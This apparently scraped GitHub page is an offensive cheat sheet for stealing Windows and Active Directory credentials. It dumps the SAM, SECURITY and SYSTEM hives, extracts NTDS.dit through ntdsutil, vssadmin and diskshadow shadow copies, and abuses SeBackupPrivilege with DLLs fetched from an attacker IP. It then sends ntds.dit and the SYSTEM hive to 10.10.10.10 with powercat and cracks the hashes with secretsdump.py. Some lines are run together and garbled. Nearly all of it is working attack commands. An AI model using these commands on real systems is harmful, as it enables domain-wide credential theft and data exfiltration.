You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
reg.exe save hklm\sam C:\path\SAM
reg.exe save hklm\security C:\path\SECURITY
reg.exe save hklm\system C:\path\SYSTEM
# REBUILD
secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
Obtaining NTDS.dit Using vssadmin
mkdir c:\extract
REM -> c:\Windows\system32vssadmin create shadow /for=c:
copy \\?GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\ntds\ntds.dit c:\extract\ntds.dit
reg SAVE HKLM\SYSTEM c:\extract\SYS
REM yesREM exfiltrate to your attacker computerREM housekeepingvssadmin delete shadows /shadow={PATH} /Quiet
Obtaining NTDS.dit Using shadow copy (SeBackup)
# Create script.txt file that will contain the shadow copy process script#Script ->{
set context persistent nowriters
set metadata c:\windows\system32\spool\drivers\color\example.cab
set verbose on
begin backup
add volume c: alias mydrive
create
expose %mydrive% w:
end backup
#}# TRANSFERT TO TARGET SYSTEMInvoke-WebRequest-Uri "http://10.10.10.10/script.txt"-OutFile "C:\\windows\\system32\\spool\\drivers\\color\\script.txt"# EXEC DISKSHADOW
cd C:\windows\system32\spool\drivers\color
diskshadow.exe-s script.txt
# CHECK THE CAB
ls
-a----6/7/20209:31 PM 743 example.cab
# IMPORTING DLL SeBackupPrivilegeCmdLets & SeBackupPrivilegeUtilsInvoke-WebRequest-Uri "http://10.10.10.10/SeBackupPrivilegeCmdLets.dll"-OutFile "C:\\windows\\system32\\spool\\drivers\\color\\SeBackupPrivilegeCmdLets.dll"Invoke-WebRequest-Uri "http://10.10.10.10/SeBackupPrivilegeUtils.dll"-OutFile "C:\\windows\\system32\\spool\\drivers\\color\\SeBackupPrivilegeUtils.dll"Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
# CHECK MODULEget-help SeBackupPrivilege
Name Category Module Synopsis
--------------------------Get-SeBackupPrivilege Cmdlet SeBackupPrivilegeCmdLets ...
Set-SeBackupPrivilege Cmdlet SeBackupPrivilegeCmdLets ...
Copy-FileSeBackupPrivilege Cmdlet SeBackupPrivilegeCmdLets ...
#Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choiceCopy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\Windows\temp\ntds.dit -Overwrite
# Dump ACTUAL SYSTEM hivereg.exe save HKLM\SYSTEM c:\temp\system.hive
# FILE TRANSFERT
powercat -c 10.10.10.10-p 443-i c:\Windows\temp\system.hive
powercat -c 10.10.10.10-p 443-i c:\Windows\temp\ntds.dit
Rebuild AD Hashes
-ntds: location and name of the ntds.dit file
-system: location and name of the SYSTEM hive
-hashes lmnhash:nthash: NTLM hash
LOCAL: parse files on the local system
-outputfile: location and name of the output file. Extensions are automatically added based on content extracted